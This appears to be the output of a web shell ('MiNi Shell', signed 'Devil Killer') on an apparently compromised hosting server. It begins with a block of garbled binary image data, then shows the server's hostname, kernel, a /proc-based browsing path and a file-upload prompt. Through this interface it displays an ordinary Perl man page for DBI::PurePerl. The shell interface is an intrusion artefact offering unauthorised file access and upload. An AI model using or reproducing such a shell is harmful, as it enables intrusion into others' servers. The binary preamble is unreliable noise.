JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5002.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/DBI::PurePerl.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "DBI::PurePerl 3"
.TH DBI::PurePerl 3 "2006-02-07" "perl v5.8.8" "User Contributed Perl Documentation"
.SH "NAME"
DBI::PurePerl \-\- a DBI emulation using pure perl (no C/XS compilation required)
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 2
\& BEGIN { $ENV{DBI_PUREPERL} = 2 }
\& use DBI;
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
This is a pure perl emulation of the \s-1DBI\s0 internals.  In almost all
cases you will be better off using standard \s-1DBI\s0 since the portions
of the standard version written in C make it *much* faster.
.PP
However, if you are in a situation where it isn't possible to install
a compiled version of standard \s-1DBI\s0, and you're using pure-perl \s-1DBD\s0
drivers, then this module allows you to use most common features
of \s-1DBI\s0 without needing any changes in your scripts.
.SH "EXPERIMENTAL STATUS"
.IX Header "EXPERIMENTAL STATUS"
DBI::PurePerl is new so please treat it as experimental pending
more extensive testing.  So far it has passed all tests with \s-1DBD::CSV\s0,
DBD::AnyData, DBD::XBase, DBD::Sprite, DBD::mysqlPP.  Please send
bug reports to Jeff Zucker at <jeff@vpservices.com> with a cc to
<dbi\-dev@perl.org>.
.SH "USAGE"
.IX Header "USAGE"
The usage is the same as for standard \s-1DBI\s0 with the exception
that you need to set the enviornment variable \s-1DBI_PUREPERL\s0 if
you want to use the PurePerl version.
.PP
.Vb 2
\& DBI_PUREPERL == 0 (the default) Always use compiled DBI, die
\&                   if it isn't properly compiled & installed
.Ve
.PP
.Vb 2
\& DBI_PUREPERL == 1 Use compiled DBI if it is properly compiled
\&                   & installed, otherwise use PurePerl
.Ve
.PP
.Vb 1
\& DBI_PUREPERL == 2 Always use PurePerl
.Ve
.PP
You may set the enviornment variable in your shell (e.g. with
set or setenv or export, etc) or else set it in your script like
this:
.PP
.Vb 1
\& BEGIN { $ENV{DBI_PUREPERL}=2 }
.Ve
.PP
before you \f(CW\*(C`use DBI;\*(C'\fR.
.SH "INSTALLATION"
.IX Header "INSTALLATION"
In most situations simply install \s-1DBI\s0 (see the \s-1DBI\s0 pod for details).
.PP
In the situation in which you can not install \s-1DBI\s0 itself, you
may manually copy \s-1DBI\s0.pm and PurePerl.pm into the appropriate
directories.
.PP
For example:
.PP
.Vb 2
\& cp DBI.pm      /usr/jdoe/mylibs/.
\& cp PurePerl.pm /usr/jdoe/mylibs/DBI/.
.Ve
.PP
Then add this to the top of scripts:
.PP
.Vb 4
\& BEGIN {
\&   $ENV{DBI_PUREPERL} = 1;      # or =2
\&   unshift @INC, '/usr/jdoe/mylibs';
\& }
.Ve
.PP
(Or should we perhaps patch Makefile.PL so that if \s-1DBI_PUREPERL\s0
is set to 2 prior to make, the normal compile process is skipped
and the files are installed automatically?)
.SH "DIFFERENCES BETWEEN DBI AND DBI::PurePerl"
.IX Header "DIFFERENCES BETWEEN DBI AND DBI::PurePerl"
.Sh "Attributes"
.IX Subsection "Attributes"
Boolean attributes still return boolean values but the actual values
used may be different, i.e., 0 or undef instead of an empty string.
.PP
Some handle attributes are either not supported or have very limited
functionality:
.PP
.Vb 6
\&  ActiveKids
\&  InactiveDestroy
\&  Kids
\&  Taint
\&  TaintIn
\&  TaintOut
.Ve
.PP
(and probably others)
.Sh "Tracing"
.IX Subsection "Tracing"
Trace functionality is more limited and the code to handle tracing is
only embeded into DBI:PurePerl if the \s-1DBI_TRACE\s0 environment variable
is defined.  To enable total tracing you can set the \s-1DBI_TRACE\s0
environment variable as usual.  But to enable individual handle
tracing using the \fItrace()\fR method you also need to set the \s-1DBI_TRACE\s0
environment variable, but set it to 0.
.Sh "Parameter Usage Checking"
.IX Subsection "Parameter Usage Checking"
The \s-1DBI\s0 does some basic parameter count checking on method calls.
DBI::PurePerl doesn't.
.Sh "Speed"
.IX Subsection "Speed"
DBI::PurePerl is slower. Although, with some drivers in some
contexts this may not be very significant for you.
.PP
By way of example... the test.pl script in the \s-1DBI\s0 source
distribution has a simple benchmark that just does:
.PP
.Vb 3
\&    my $null_dbh = DBI->connect('dbi:NullP:','','');
\&    my $i = 10_000;
\&    $null_dbh->prepare('') while $i--;
.Ve
.PP
In other words just prepares a statement, creating and destroying
a statement handle, over and over again.  Using the real \s-1DBI\s0 this
runs at ~4550 handles per second whereas DBI::PurePerl manages
~2800 per second on the same machine (not too bad really).
.Sh "May not fully support \fIhash()\fP"
.IX Subsection "May not fully support hash()"
If you want to use type 1 hash, i.e., \f(CW\*(C`hash($string,1)\*(C'\fR with
DBI::PurePerl, you'll need version 1.56 or higher of Math::BigInt
(available on \s-1CPAN\s0).
.Sh "Doesn't support \fIpreparse()\fP"
.IX Subsection "Doesn't support preparse()"
The \s-1DBI\-\s0>\fIpreparse()\fR method isn't supported in DBI::PurePerl.
.Sh "Doesn't support DBD::Proxy"
.IX Subsection "Doesn't support DBD::Proxy"
There's a subtle problem somewhere I've not been able to identify.
DBI::ProxyServer seem to work fine with DBI::PurePerl but DBD::Proxy
does not work 100% (which is sad because that would be far more useful :)
Try re-enabling t/80proxy.t for DBI::PurePerl to see if the problem
that remains will affect you're usage.
.Sh "Others"
.IX Subsection "Others"
.Vb 1
\&  can() - doesn't have any special behaviour
.Ve
.PP
Please let us know if you find any other differences between \s-1DBI\s0
and DBI::PurePerl.
.SH "AUTHORS"
.IX Header "AUTHORS"
Tim Bunce and Jeff Zucker.
.PP
Tim provided the direction and basis for the code.  The original
idea for the module and most of the brute force porting from C to
Perl was by Jeff. Tim then reworked some core parts to boost the
performance and accuracy of the emulation. Thanks also to Randal
Schwartz and John Tobey for patches.
.SH "COPYRIGHT"
.IX Header "COPYRIGHT"
Copyright (c) 2002  Tim Bunce  Ireland.
.PP
See \s-1COPYRIGHT\s0 section in \s-1DBI\s0.pm for usage and distribution rights.

Creat By MiNi SheLL
Email: devilkiller@gmail.com